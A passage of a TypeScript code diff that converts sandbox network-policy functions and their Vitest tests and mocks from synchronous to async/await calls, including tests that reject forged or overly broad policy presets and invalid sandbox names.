-294,7 +294,7 @@ network_policies: }; expect( - applyPresetContent("test-sandbox", "forged-private", content, { + await applyPresetContent("test-sandbox", "forged-private", content, { custom: { sourcePath: "forged-private.yaml", trustedPrivatePinCapability: forged as never, @@ -303,7 +303,7 @@ network_policies: ).toBe(false); }); - it("rejects a custom hostless endpoint with broad address ranges", () => { + it("rejects a custom hostless endpoint with broad address ranges", async () => { const content = `\ preset: name: hostless-in-memory @@ -316,7 +316,7 @@ network_policies: - 1.0.0.0/8 `; expect( - applyPresetContent("test-sandbox", "hostless-in-memory", content, { + await applyPresetContent("test-sandbox", "hostless-in-memory", content, { custom: { sourcePath: "hostless.yaml" }, }), ).toBe(false); diff --git a/src/lib/status-command-deps.ts b/src/lib/status-command-deps.ts index 7fe5121812d..b64dfc21540 100644 --- a/src/lib/status-command-deps.ts +++ b/src/lib/status-command-deps.ts @@ -275,9 +275,9 @@ export function buildStatusCommandDeps(rootDir: string): ShowStatusCommandDeps { return { listSandboxes: () => registry.listSandboxes(), - getPolicyPresets: (sandboxName) => { + getPolicyPresets: async (sandboxName) => { try { - return policy.getAppliedPresets(sandboxName, INVENTORY_POLICY_PROBE_TIMEOUT_MS); + return await policy.getAppliedPresets(sandboxName, INVENTORY_POLICY_PROBE_TIMEOUT_MS); } catch { return []; } diff --git a/test/channels/channels-add-bridge-lifecycle.test.ts b/test/channels/channels-add-bridge-lifecycle.test.ts index ed311fd6fd1..25935a0f7d2 100644 --- a/test/channels/channels-add-bridge-lifecycle.test.ts +++ b/test/channels/channels-add-bridge-lifecycle.test.ts @@ -203,18 +203,18 @@ beforeEach(() => { ]); appliedPresets = []; - vi.spyOn(policies, "loadPresetForSandbox").mockReturnValue( + vi.spyOn(policies, "loadPresetForSandbox").mockResolvedValue( "network_policies:\n stub:\n egress:\n - host: example.com\n", ); - vi.spyOn(policies, "applyPreset").mockImplementation((_sandboxName, preset) => { + vi.spyOn(policies, "applyPreset").mockImplementation(async (_sandboxName, preset) => { appliedPresets = [...new Set([...appliedPresets, preset])]; return true; }); - vi.spyOn(policies, "removePreset").mockImplementation((_sandboxName, preset) => { + vi.spyOn(policies, "removePreset").mockImplementation(async (_sandboxName, preset) => { appliedPresets = appliedPresets.filter((name) => name !== preset); return true; }); - vi.spyOn(policies, "getAppliedPresets").mockImplementation(() => [...appliedPresets]); + vi.spyOn(policies, "getAppliedPresets").mockImplementation(async () => [...appliedPresets]); vi.spyOn(store, "getCredential").mockImplementation((key) => process.env[key] || null); vi.spyOn(store, "saveCredential").mockImplementation(() => undefined); @@ -234,7 +234,7 @@ beforeEach(() => { // refresh boundary. Individual failure tests override the spy below. providerSpy = vi.spyOn(policyChannelDependencies, "upsertMessagingProviders"); vi.spyOn(policyChannelDependencies, "revalidateChannelProviderPolicy").mockImplementation( - () => undefined, + async () => undefined, ); vi.spyOn(policyChannelDependencies, "inspectMessagingProviderAttachmentTarget").mockReturnValue( LIVE_IDENTITY_FINGERPRINT, diff --git a/test/channels/channels-add-preset.test.ts b/test/channels/channels-add-preset.test.ts index c7dae312b6c..b95fa447a1a 100644 --- a/test/channels/channels-add-preset.test.ts +++ b/test/channels/channels-add-preset.test.ts @@ -204,7 +204,7 @@ beforeEach(() => { throw new ExitError(code); }) as never); vi.spyOn(policyChannelDependencies, "revalidateChannelProviderPolicy").mockImplementation( - () => undefined, + async () => undefined, ); vi.spyOn(registry, "getSandbox").mockImplementation(() => registryEntry); @@ -219,11 +219,11 @@ beforeEach(() => { loadPresetForSandboxSpy = vi .spyOn(policies, "loadPresetForSandbox") - .mockImplementation((sandboxName, presetName) => { + .mockImplementation(async (sandboxName, presetName) => { callOrder.push(`loadPresetForSandbox:${sandboxName}:${presetName}`); return presetContent; }); - vi.spyOn(policies, "getPresetContentGatewayState").mockReturnValue("absent"); + vi.spyOn(policies, "getPresetContentGatewayState").mockResolvedValue("absent"); vi.spyOn(policies, "listPresets").mockImplementation(() => ["telegram", "slack", "discord", "whatsapp", "npm", "github"].map((name) => ({ name, @@ -231,15 +231,19 @@ beforeEach(() => { description: `${name} test preset`, })), ); - applyPresetSpy = vi.spyOn(policies, "applyPreset").mockImplementation((name, presetName) => { - callOrder.push(`applyPreset:${presetName}`); - return applyPresetResult; - }); - removePresetSpy = vi.spyOn(policies, "removePreset").mockImplementation((_name, presetName) => { - callOrder.push(`removePreset:${presetName}`); - return true; - }); - vi.spyOn(policies, "getAppliedPresets").mockImplementation(() => appliedPresets); + applyPresetSpy = vi + .spyOn(policies, "applyPreset") + .mockImplementation(async (name, presetName) => { + callOrder.push(`applyPreset:${presetName}`); + return applyPresetResult; + }); + removePresetSpy = vi + .spyOn(policies, "removePreset") + .mockImplementation(async (_name, presetName) => { + callOrder.push(`removePreset:${presetName}`); + return true; + }); + vi.spyOn(policies, "getAppliedPresets").mockImplementation(async () => appliedPresets); getCredentialSpy = vi .spyOn(store, "getCredential") @@ -838,8 +842,8 @@ describe("channels add verifies bridge startup after rebuild (#4314, #4390)", () describe("channel preset source-of-truth", () => { it.each(knownChannelNames())( "channel $name ships a preset that parsePresetPolicyKeys accepts", - (name) => { - const content = policies.loadPresetForSandbox("test-sb", name); + async (name) => { + const content = await policies.loadPresetForSandbox("test-sb", name); expect(content, `${name}: preset YAML not found on disk`).not.toBeNull(); expect( policies.parsePresetPolicyKeys(content!).length, diff --git a/test/e2e/fixtures/hermes-config-export-live.ts b/test/e2e/fixtures/hermes-config-export-live.ts index 13ec81def93..fc4451e6082 100644 --- a/test/e2e/fixtures/hermes-config-export-live.ts +++ b/test/e2e/fixtures/hermes-config-export-live.ts @@ -12,7 +12,7 @@ import YAML from "yaml"; import { fingerprintOpenShellSandboxId } from "../../../src/lib/adapters/openshell/sandbox-identity.ts"; import { namedOpenShellGateway, - syncCliOpenShellSandboxPolicyReader, + cliOpenShellSandboxPolicyReader, } from "../../../src/lib/adapters/openshell/sandbox-policy-cli.ts"; import { validateNemoClawConfig } from "../../../src/lib/config/schema.ts"; import { load, save } from "../../../src/lib/state/registry/persistence.ts"; @@ -83,7 +83,7 @@ export async function verifyHermesConfigExportLive( const registry = load(); const entry = registry.sandboxes[input.sandboxName]!; - const policy = syncCliOpenShellSandboxPolicyReader.readSandboxPolicy({ + const policy = await cliOpenShellSandboxPolicyReader.readSandboxPolicy({ target: namedOpenShellGateway(entry.gatewayName ?? ""), sandboxName: input.sandboxName, scope: "effective", diff --git a/test/e2e/live/network-policy.test.ts b/test/e2e/live/network-policy.test.ts index e22751cbc0e..2c009d231f1 100644 --- a/test/e2e/live/network-policy.test.ts +++ b/test/e2e/live/network-policy.test.ts @@ -9,7 +9,7 @@ import { validateNemoClawConfig } from "../../../src/lib/config/schema.ts"; import { fingerprintOpenShellSandboxId } from "../../../src/lib/adapters/openshell/sandbox-identity.ts"; import { namedOpenShellGateway, - syncCliOpenShellSandboxPolicyReader, + cliOpenShellSandboxPolicyReader, } from "../../../src/lib/adapters/openshell/sandbox-policy-cli.ts"; import { load, save } from "../../../src/lib/state/registry/persistence.ts"; import { createServer, type Server } from "node:http"; @@ -345,7 +345,7 @@ test( ); const registry = load(); const entry = registry.sandboxes[SANDBOX_NAME]; - const policy = syncCliOpenShellSandboxPolicyReader.readSandboxPolicy({ + const policy = await cliOpenShellSandboxPolicyReader.readSandboxPolicy({ target: namedOpenShellGateway(entry.gatewayName ?? ""), sandboxName: SANDBOX_NAME, scope: "effective", diff --git a/test/e2e/live/openshell-allowed-ips-rebinding.ts b/test/e2e/live/openshell-allowed-ips-rebinding.ts index 824b4ca030f..7c909cc6fba 100644 --- a/test/e2e/live/openshell-allowed-ips-rebinding.ts +++ b/test/e2e/live/openshell-allowed-ips-rebinding.ts @@ -241,7 +241,7 @@ export async function assertRawOpenShellAllowedIpsRebindingDenied(options: { policyMutationAttempted = true; expect( - setPolicyDocument(options.sandboxName, fs.readFileSync(policyPath, "utf8"), { + await setPolicyDocument(options.sandboxName, fs.readFileSync(policyPath, "utf8"), { nonFatal: true, operation: "run the raw OpenShell allowed_ips rebinding proof", }), @@ -294,7 +294,7 @@ export async function assertRawOpenShellAllowedIpsRebindingDenied(options: { try { if (policyMutationAttempted && basePolicyPath) { expect( - setPolicyDocument(options.sandboxName, fs.readFileSync(basePolicyPath, "utf8"), { + await setPolicyDocument(options.sandboxName, fs.readFileSync(basePolicyPath, "utf8"), { nonFatal: true, operation: "restore the raw OpenShell allowed_ips rebinding proof policy", }), diff --git a/test/e2e/live/openshell-exact-main-runtime-contracts.ts b/test/e2e/live/openshell-exact-main-runtime-contracts.ts index 9c7aae42ec5..9bb71a202d1 100644 --- a/test/e2e/live/openshell-exact-main-runtime-contracts.ts +++ b/test/e2e/live/openshell-exact-main-runtime-contracts.ts @@ -754,7 +754,7 @@ export async function assertExactMainPolicyNftAndIdentityContracts(options: { const restorePolicy = async () => { if (!restoreRequired) return; expect( - setPolicyDocument(options.sandboxName, basePolicyYaml, { + await setPolicyDocument(options.sandboxName, basePolicyYaml, { nonFatal: true, operation: "restore the exact-main policy proof", }), @@ -783,10 +783,14 @@ export async function assertExactMainPolicyNftAndIdentityContracts(options: { ); restoreRequired = true; expect( - setPolicyDocument(options.sandboxName, buildIdentityPolicy(basePolicyYaml, options.mcpUrl), { - nonFatal: true, - operation: "apply the exact-main live-exe identity policy", - }), + await setPolicyDocument( + options.sandboxName, + buildIdentityPolicy(basePolicyYaml, options.mcpUrl), + { + nonFatal: true, + operation: "apply the exact-main live-exe identity policy", + }, + ), "exact-main-policy-hot-update", ).toBe(true); const effective = await readPolicyStatus( diff --git a/test/e2e/support/hermes-config-export-live.test.ts b/test/e2e/support/hermes-config-export-live.test.ts index 7bd444fd332..1fe3a9a448f 100644 --- a/test/e2e/support/hermes-config-export-live.test.ts +++ b/test/e2e/support/hermes-config-export-live.test.ts @@ -21,7 +21,7 @@ vi.mock("../../../src/lib/state/registry/persistence.ts", () => ({ vi.mock("../../../src/lib/adapters/openshell/sandbox-policy-cli.ts", () => ({ namedOpenShellGateway: (name: string) => ({ kind: "named", name }), - syncCliOpenShellSandboxPolicyReader: { readSandboxPolicy: mocks.readSandboxPolicy }, + cliOpenShellSandboxPolicyReader: { readSandboxPolicy: mocks.readSandboxPolicy }, })); vi.mock("../../../src/lib/config/schema.ts", () => ({ diff --git a/test/e2e/support/mcp-bridge-sandbox.test.ts b/test/e2e/support/mcp-bridge-sandbox.test.ts index fa99f4b3db4..a5a8e7b3a56 100644 --- a/test/e2e/support/mcp-bridge-sandbox.test.ts +++ b/test/e2e/support/mcp-bridge-sandbox.test.ts @@ -290,7 +290,7 @@ network_policies: const policyMutations: Array<{ document: string; operation: string | undefined }> = []; const setPolicy = vi .spyOn(policy, "setPolicyDocument") - .mockImplementation((_sandboxName, document, options) => { + .mockImplementation(async (_sandboxName, document, options) => { currentPolicy = document; policyMutations.push({ document, operation: options?.operation }); return true; diff --git a/test/e2e/support/openshell-exact-main-runtime-contracts.test.ts b/test/e2e/support/openshell-exact-main-runtime-contracts.test.ts index c1c2fd12503..46fc35714e9 100644 --- a/test/e2e/support/openshell-exact-main-runtime-contracts.test.ts +++ b/test/e2e/support/openshell-exact-main-runtime-contracts.test.ts @@ -89,7 +89,7 @@ describe("OpenShell exact-main policy, nft, and process-identity proof helpers", const policyMutations: Array<{ document: string; operation: string | undefined }> = []; const setPolicy = vi .spyOn(policy, "setPolicyDocument") - .mockImplementation((_sandboxName, document, options) => { + .mockImplementation(async (_sandboxName, document, options) => { policyMutations.push({ document, operation: options?.operation }); return true; }); diff --git a/test/helpers/rebuild-flow-generic-harness.ts b/test/helpers/rebuild-flow-generic-harness.ts index 69361ccdf18..3bb9cc5edfd 100644 --- a/test/helpers/rebuild-flow-generic-harness.ts +++ b/test/helpers/rebuild-flow-generic-harness.ts @@ -837,11 +837,11 @@ export function createRebuildFlowHarness(overrides: RebuildFlowOverrides = {}): let policyRemovalObserved = false; const applyPresetSpy = vi .spyOn(policies, "applyPreset") - .mockImplementation((_sandboxName: unknown, presetName: unknown) => { + .mockImplementation(async (_sandboxName: unknown, presetName: unknown) => { const normalizedPresetName = String(presetName); let applied: boolean; if (overrides.applyPreset) { - applied = overrides.applyPreset(normalizedPresetName); + applied = await overrides.applyPreset(normalizedPresetName); } else if (normalizedPresetName === "throw") { throw new Error("preset boom"); } else { diff --git a/test/onboarding/onboard-readiness.test.ts b/test/onboarding/onboard-readiness.test.ts index f53d79b60db..deb878e1ee2 100644 --- a/test/onboarding/onboard-readiness.test.ts +++ b/test/onboarding/onboard-readiness.test.ts @@ -133,30 +133,38 @@ describe("sandbox readiness parsing", () => { // Regression tests: WSL truncates hyphenated sandbox names during shell // argument parsing (e.g. "my-assistant" → "m"). describe("WSL sandbox name handling", () => { - it("applyPreset rejects truncated/invalid sandbox name", () => { + it("applyPreset rejects truncated/invalid sandbox name", async () => { // Empty name - expect(() => applyPreset("", "npm")).toThrow(/Invalid or truncated sandbox name/); + await expect((async () => await applyPreset("", "npm"))()).rejects.toThrow( + /Invalid or truncated sandbox name/, + ); // Name with uppercase (not valid per RFC 1123) - expect(() => applyPreset("My-Assistant", "npm")).toThrow(/Invalid or truncated sandbox name/); + await expect((async () => await applyPreset("My-Assistant", "npm"))()).rejects.toThrow( + /Invalid or truncated sandbox name/, + ); // Name starting with hyphen - expect(() => applyPreset("-broken", "npm")).toThrow(/Invalid or truncated sandbox name/); + await expect((async () => await applyPreset("-broken", "npm"))()).rejects.toThrow( + /Invalid or truncated sandbox name/, + ); }); - it("accepts an exact 19-character sandbox name before a no-op policy batch (#8497)", () => { - expect(applyPresets("a".repeat(19), [])).toBe(true); + it("accepts an exact 19-character sandbox name before a no-op policy batch (#8497)", async () => { + expect(await applyPresets("a".repeat(19), [])).toBe(true); expect(policySideEffects.runCapture).not.toHaveBeenCalled(); expect(policySideEffects.run).not.toHaveBeenCalled(); }); it.each([ - ["removePreset", (name: string) => removePreset(name, "npm")], - ["applyPresetContent", (name: string) => applyPresetContent(name, "npm", "")], - ["applyPresets", (name: string) => applyPresets(name, ["npm"])], + ["removePreset", async (name: string) => await removePreset(name, "npm")], + ["applyPresetContent", async (name: string) => await applyPresetContent(name, "npm", "")], + ["applyPresets", async (name: string) => await applyPresets(name, ["npm"])], ])( "%s rejects 20-character and consecutive-hyphen names before policy side effects (#8497)", (_entrypoint, invoke) => { - ["a".repeat(20), "legacy--box"].forEach((name) => { - expect(() => invoke(name)).toThrow(/Allowed format: 1-19 characters/); + ["a".repeat(20), "legacy--box"].forEach(async (name) => { + await expect((async () => await invoke(name))()).rejects.toThrow( + /Allowed format: 1-19 characters/, + ); }); expect(policySideEffects.runCapture).not.toHaveBeenCalled(); expect(policySideEffects.run).not.toHaveBeenCalled(); diff --git a/test/onboarding/onboard.test.ts b/test/onboarding/onboard.test.ts index 3723e5915e7..4e14541a864 100644 --- a/test/onboarding/onboard.test.ts +++ b/test/onboarding/onboard.test.ts @@ -105,8 +105,8 @@ describe("onboard helpers", () => { expect(loadedOnboardInternals).not.toHaveProperty("buildProviderArgs"); }); - it("does not treat an empty policy preset selection as already applied (#6042)", () => { - expect(arePolicyPresetsApplied("unused", [])).toBe(false); + it("does not treat an empty policy preset selection as already applied (#6042)", async () => { + expect(await arePolicyPresetsApplied("unused", [])).toBe(false); }); it("adds host proxy variables to sandbox startup env args", () => { diff --git a/test/runtime/policy/hermes-slack-policy-reconciliation.test.ts b/test/runtime/policy/hermes-slack-policy-reconciliation.test.ts index 7aa1f471154..d66ff48ef77 100644 --- a/test/runtime/policy/hermes-slack-policy-reconciliation.test.ts +++ b/test/runtime/policy/hermes-slack-policy-reconciliation.test.ts @@ -35,6 +35,7 @@ it("applies a missing live Hermes Slack preset despite legacy applied state (#10 policies: ["slack"], }; const script = String.raw` +(async () => { const fs = require("node:fs"); const registry = require(${REGISTRY_PATH}); const policies = require(${POLICIES_PATH}); @@ -51,15 +52,17 @@ registry.registerSandbox({ }), }, }); -const appliedBefore = policies.getAppliedPresets("hermes-sandbox"); -syncPresetSelection("hermes-sandbox", appliedBefore, ["slack"]); -const appliedAfter = policies.getAppliedPresets("hermes-sandbox"); +const appliedBefore = await policies.getAppliedPresets("hermes-sandbox"); +await syncPresetSelection("hermes-sandbox", appliedBefore, ["slack"]); +const appliedAfter = await policies.getAppliedPresets("hermes-sandbox"); process.stdout.write("\n__RESULT__" + JSON.stringify({ appliedBefore, appliedAfter, policy: fs.readFileSync(process.env.POLICY_OUT, "utf-8"), registry: registry.getSandbox("hermes-sandbox"), })); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; fs.writeFileSync( fakeOpenshell, diff --git a/test/runtime/policy/personal-open-internet-policy.test.ts b/test/runtime/policy/personal-open-internet-policy.test.ts index e60a4d03f96..ab0778bc456 100644 --- a/test/runtime/policy/personal-open-internet-policy.test.ts +++ b/test/runtime/policy/personal-open-internet-policy.test.ts @@ -206,7 +206,7 @@ describe("Personal open internet policy preset", () => { ).toThrow(/does not match the reviewed built-in preset/); }); - it("rejects direct custom Personal key ownership before reading live state", () => { + it("rejects direct custom Personal key ownership before reading live state", async () => { const registryLookup = vi.spyOn(registry, "getSandbox").mockImplementation(() => { throw new Error("registry must not be read"); }); @@ -217,7 +217,7 @@ describe("Personal open internet policy preset", () => { try { expect( - policies.applyPresetContent( + await policies.applyPresetContent( "personal-key-guard", "spoofed-personal", YAML.stringify({ @@ -273,7 +273,7 @@ describe("Personal open internet policy preset", () => { }, ); - it("refuses direct Personal removal before reading registry or gateway state", () => { + it("refuses direct Personal removal before reading registry or gateway state", async () => { const registryLookup = vi.spyOn(registry, "getSandbox").mockImplementation(() => { throw new Error("registry must not be read"); }); @@ -282,7 +282,7 @@ describe("Personal open internet policy preset", () => { errors.push(args.map(String).join(" ")); }); - expect(policies.removePreset("personal-guard", "personal-open-internet")).toBe(false); + expect(await policies.removePreset("personal-guard", "personal-open-internet")).toBe(false); expect(registryLookup).not.toHaveBeenCalled(); expect(errors.join("\n")).toContain("cannot be removed in place"); diff --git a/test/runtime/policy/policies-teams.test.ts b/test/runtime/policy/policies-teams.test.ts index 73b8e79a49a..eb4b0daada8 100644 --- a/test/runtime/policy/policies-teams.test.ts +++ b/test/runtime/policy/policies-teams.test.ts @@ -91,7 +91,7 @@ describe("Teams policy preset", () => { expect(policies.getPresetValidationWarning("teams")).toContain("Microsoft Teams"); }); - it("shares the Teams credential binding with Outlook only while Teams is active", () => { + it("shares the Teams credential binding with Outlook only while Teams is active", async () => { const sandboxName = "teams-outlook"; const composed = policies.mergePresetNamesIntoPolicy( "version: 1\nnetwork_policies: {}\n", @@ -111,7 +111,7 @@ describe("Teams policy preset", () => { expect(outlookLogin.credential_binding).toEqual(teamsLogin.credential_binding); const teamsEntries = policies.extractPresetEntries( - policies.loadPresetForSandbox(sandboxName, "teams"), + await policies.loadPresetForSandbox(sandboxName, "teams"), ); const withoutTeams = policies.removePresetFromPolicy(composed, teamsEntries); const restored = YAML.parse( @@ -268,16 +268,19 @@ describe("Teams policy preset", () => { const fakeOpenshell = path.join(tmpDir, "openshell"); const policyOut = path.join(tmpDir, "policy.yaml"); const script = String.raw` +(async () => { const fs = require("node:fs"); const registry = require(${REGISTRY_PATH}); const policies = require(${POLICIES_PATH}); ${managedRegistrationSource("hermes-sandbox", "hermes")} -const result = policies.applyPresets("hermes-sandbox", ["teams"]); +const result = await policies.applyPresets("hermes-sandbox", ["teams"]); process.stdout.write("\n__RESULT__" + JSON.stringify({ result, policy: fs.readFileSync(process.env.POLICY_OUT, "utf-8"), registry: registry.getSandbox("hermes-sandbox"), })); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; fs.writeFileSync( fakeOpenshell, diff --git a/test/runtime/policy/policies.test.ts b/test/runtime/policy/policies.test.ts index 5aee88810fd..3a41f50a574 100644 --- a/test/runtime/policy/policies.test.ts +++ b/test/runtime/policy/policies.test.ts @@ -101,9 +101,9 @@ exit 1 describe("policies", () => { beforeEach(() => { vi.spyOn( - policyReaderModule.syncCliOpenShellSandboxPolicyReader, + policyReaderModule.cliOpenShellSandboxPolicyReader, "inspectSandboxPolicy", - ).mockReturnValue({ + ).mockResolvedValue({ ok: true, value: { policySource: "sandbox", @@ -248,17 +248,20 @@ describe("policies", () => { const callsPath = path.join(tmpDir, "calls.log"); const policyOut = path.join(tmpDir, "policy.yaml"); const script = String.raw` +(async () => { const fs = require("node:fs"); const registry = require(${REGISTRY_PATH}); const policies = require(${POLICIES_PATH}); ${managedRegistrationSource("test-sandbox")} -const result = policies.applyPresets("test-sandbox", ["npm", "pypi"]); +const result = await policies.applyPresets("test-sandbox", ["npm", "pypi"]); process.stdout.write("\n__RESULT__" + JSON.stringify({ result, calls: fs.readFileSync(process.env.CALLS_PATH, "utf-8").trim().split("\n").filter(Boolean), policy: fs.readFileSync(process.env.POLICY_OUT, "utf-8"), registry: registry.getSandbox("test-sandbox"), })); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; writePolicyFixtureOpenShell({ callsPath, @@ -303,16 +306,19 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ const callsPath = path.join(tmpDir, "calls.log"); const policyOut = path.join(tmpDir, "policy.yaml"); const script = String.raw` +(async () => { const fs = require("node:fs"); const registry = require(${REGISTRY_PATH}); const policies = require(${POLICIES_PATH}); ${managedRegistrationSource("hermes-sandbox", "hermes")} -const result = policies.applyPresets("hermes-sandbox", ["wechat"]); +const result = await policies.applyPresets("hermes-sandbox", ["wechat"]); process.stdout.write("\n__RESULT__" + JSON.stringify({ result, policy: fs.readFileSync(process.env.POLICY_OUT, "utf-8"), registry: registry.getSandbox("hermes-sandbox"), })); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; writePolicyFixtureOpenShell({ callsPath, @@ -353,6 +359,7 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ const callsPath = path.join(tmpDir, "calls.log"); const policyOut = path.join(tmpDir, "policy.yaml"); const script = String.raw` +(async () => { const fs = require("node:fs"); const YAML = require("yaml"); const registry = require(${REGISTRY_PATH}); @@ -369,20 +376,22 @@ registry.updateSandbox("hermes-sandbox", { }), }, }); -const initialResult = policies.applyPresets("hermes-sandbox", ["discord"]); +const initialResult = await policies.applyPresets("hermes-sandbox", ["discord"]); const previousPolicy = YAML.parse(fs.readFileSync(process.env.POLICY_OUT, "utf-8")); previousPolicy.network_policies.discord.binaries.unshift( { path: "/usr/local/bin/node" }, { path: "/usr/bin/python3*" }, ); fs.writeFileSync(process.env.POLICY_OUT, YAML.stringify(previousPolicy)); -const reapplyResult = policies.applyPreset("hermes-sandbox", "discord"); +const reapplyResult = await policies.applyPreset("hermes-sandbox", "discord"); process.stdout.write("\n__RESULT__" + JSON.stringify({ initialResult, reapplyResult, policy: fs.readFileSync(process.env.POLICY_OUT, "utf-8"), registry: registry.getSandbox("hermes-sandbox"), })); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; writePolicyFixtureOpenShell({ callsPath, @@ -435,7 +444,7 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ const hasScopeHeader = (m: unknown): m is string => typeof m === "string" && m.includes("Effective egress that would be opened"); - it("logs egress endpoints before applying", () => { + it("logs egress endpoints before applying", async () => { const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-disclosure-")); const fakeOpenshell = path.join(tmpDir, "openshell"); fs.writeFileSync( @@ -451,7 +460,7 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ vi.stubEnv("NEMOCLAW_OPENSHELL_BIN", fakeOpenshell); try { try { - policies.applyPreset("test-sandbox", "npm"); + await policies.applyPreset("test-sandbox", "npm"); } catch { /* applyPreset may throw if sandbox not running — we only care about the log */ } @@ -468,12 +477,12 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ } }); - it("does not log when preset does not exist", () => { + it("does not log when preset does not exist", async () => { const logSpy = vi.spyOn(console, "log").mockImplementation(() => {}); const errSpy = vi.spyOn(console, "error").mockImplementation(() => {}); try { - policies.applyPreset("test-sandbox", "nonexistent"); + await policies.applyPreset("test-sandbox", "nonexistent"); const messages = logSpy.mock.calls.map((call) => typeof call[0] === "string" ? call[0] : undefined, ); @@ -484,7 +493,7 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ } }); - it("does not log when preset does not exist under any sandbox load path", () => { + it("does not log when preset does not exist under any sandbox load path", async () => { const noHostPreset = "preset:\n name: empty\n\nnetwork_policies:\n empty_rule:\n name: empty_rule\n endpoints: []\n"; const loadSpy = vi.spyOn(policies, "loadPreset").mockReturnValue(noHostPreset); @@ -496,7 +505,7 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ try { try { - policies.applyPreset("test-sandbox", "empty"); + await policies.applyPreset("test-sandbox", "empty"); } catch { /* applyPreset may throw if sandbox not running */ } @@ -612,7 +621,7 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ // catch the real-world bug, spy on this process's mkdtempSync calls: // if the assertion fires before mkdtempSync, no nemoclaw-policy-* dir // should be requested. - it("applyPreset does not create temp dirs when bounded policy observation loses OpenShell", () => { + it("applyPreset does not create temp dirs when bounded policy observation loses OpenShell", async () => { const policyTempPrefix = path.join(os.tmpdir(), "nemoclaw-policy-"); const resolveSpy = vi @@ -632,13 +641,15 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ try { // Transactional callers retain control to roll back rather than exiting. - expect(policies.applyPreset("my-assistant", "npm", { nonFatal: true })).toBe(false); + expect(await policies.applyPreset("my-assistant", "npm", { nonFatal: true })).toBe(false); expect(exitSpy).not.toHaveBeenCalled(); resolveSpy.mockReset().mockReturnValueOnce(fakeOpenshell).mockReturnValue(null); // Normal command entry points still exit nonzero when OpenShell is unavailable. - expect(() => policies.applyPreset("my-assistant", "npm")).toThrow(/__test_exit__/); + await expect( + (async () => await policies.applyPreset("my-assistant", "npm"))(), + ).rejects.toThrow(/__test_exit__/); expect(exitSpy).toHaveBeenCalledWith(1); // No `nemoclaw-policy-*` temp dir should have been created before // the resolvability check exited. @@ -692,7 +703,7 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ fs.rmSync(tmpHome, { recursive: true, force: true }); }); - it("aborts applyPresetContent (returns false) when policy get exits 0 with degraded output", () => { + it("aborts applyPresetContent (returns false) when policy get exits 0 with degraded output", async () => { fs.writeFileSync(fakeOpenshell, DEGRADED, { mode: 0o755 }); const errs: string[] = []; const errSpy = vi.spyOn(console, "error").mockImplementation((...a: unknown[]) => { @@ -703,7 +714,7 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ logs.push(a.map((x) => String(x)).join(" ")); }); try { - const result = policies.applyPresetContent("alpha", "my-custom", CUSTOM, { + const result = await policies.applyPresetContent("alpha", "my-custom", CUSTOM, { custom: { sourcePath: "/tmp/x.yaml" }, }); expect(result).toBe(false); @@ -715,7 +726,7 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ } }); - it("aborts applyPresets (returns false) when policy get exits 0 with degraded output", () => { + it("aborts applyPresets (returns false) when policy get exits 0 with degraded output", async () => { fs.writeFileSync(fakeOpenshell, DEGRADED, { mode: 0o755 }); const errs: string[] = []; const errSpy = vi.spyOn(console, "error").mockImplementation((...a: unknown[]) => { @@ -723,7 +734,7 @@ process.stdout.write("\n__RESULT__" + JSON.stringify({ }); const logSpy = vi.spyOn(console, "log").mockImplementation(() => undefined); try { - const result = policies.applyPresets("alpha", ["npm"]); + const result = await policies.applyPresets("alpha", ["npm"]); expect(result).toBe(false); expect(errs.join("\n")).toContain("Policy-dependent operations must stop"); } finally { @@ -797,7 +808,7 @@ exit 0 fs.rmSync(tmpHome, { recursive: true, force: true }); }); - it("refuses a custom preset when sandbox policy state cannot be located", () => { + it("refuses a custom preset when sandbox policy state cannot be located", async () => { // The sandbox is ready on the gateway but missing from the local // registry, so the first observed authority cannot be persisted. registryModule.getSandbox = () => null; @@ -807,7 +818,7 @@ exit 0 }); const logSpy = vi.spyOn(console, "log").mockImplementation(() => undefined); try { - const result = policies.applyPresetContent( + const result = await policies.applyPresetContent( "my-assistant", "slack-files-upload", CUSTOM_CONTENT, @@ -823,7 +834,7 @@ exit 0 } }); - it("refuses a built-in preset when sandbox policy state cannot be located", () => { + it("refuses a built-in preset when sandbox policy state cannot be located", async () => { registryModule.getSandbox = () => null; const updateSpy = vi.fn(() => true); registryModule.updateSandbox = updateSpy; @@ -833,7 +844,12 @@ exit 0 }); const logSpy = vi.spyOn(console, "log").mockImplementation(() => undefined); try { - const result = policies.applyPresetContent("my-assistant", "github", BUILTIN_CONTENT, {}); + const result = await policies.applyPresetContent( + "my-assistant", + "github", + BUILTIN_CONTENT, + {}, + ); expect(result).toBe(false); expect(updateSpy).not.toHaveBeenCalled(); const combined = errors.join("\n"); @@ -845,7 +861,7 @@ exit 0 } }); - it("applies a well-formed custom preset without recording a policy copy", () => { + it("applies a well-formed custom preset without recording a policy copy", async () => { let sandbox: Record = managedSandboxEntry("my-assistant"); registryModule.getSandbox = () => sandbox; registryModule.updateSandbox = (_name: string, updates: Record) => { @@ -855,7 +871,7 @@ exit 0 const logSpy = vi.spyOn(console, "log").mockImplementation(() => undefined); const errSpy = vi.spyOn(console, "error").mockImplementation(() => undefined); try { - const result = policies.applyPresetContent( + const result = await policies.applyPresetContent( "my-assistant", "slack-files-upload", CUSTOM_CONTENT, diff --git a/test/runtime/policy/policy-channel-agent-resolution.test.ts b/test/runtime/policy/policy-channel-agent-resolution.test.ts index f312fbda816..7efc000d05c 100644 --- a/test/runtime/policy/policy-channel-agent-resolution.test.ts +++ b/test/runtime/policy/policy-channel-agent-resolution.test.ts @@ -22,6 +22,7 @@ describe("sandbox-aware messaging policy resolution", () => { it("keeps standalone messaging presets egress-only while preserving configured channel bindings (#10273)", () => { const 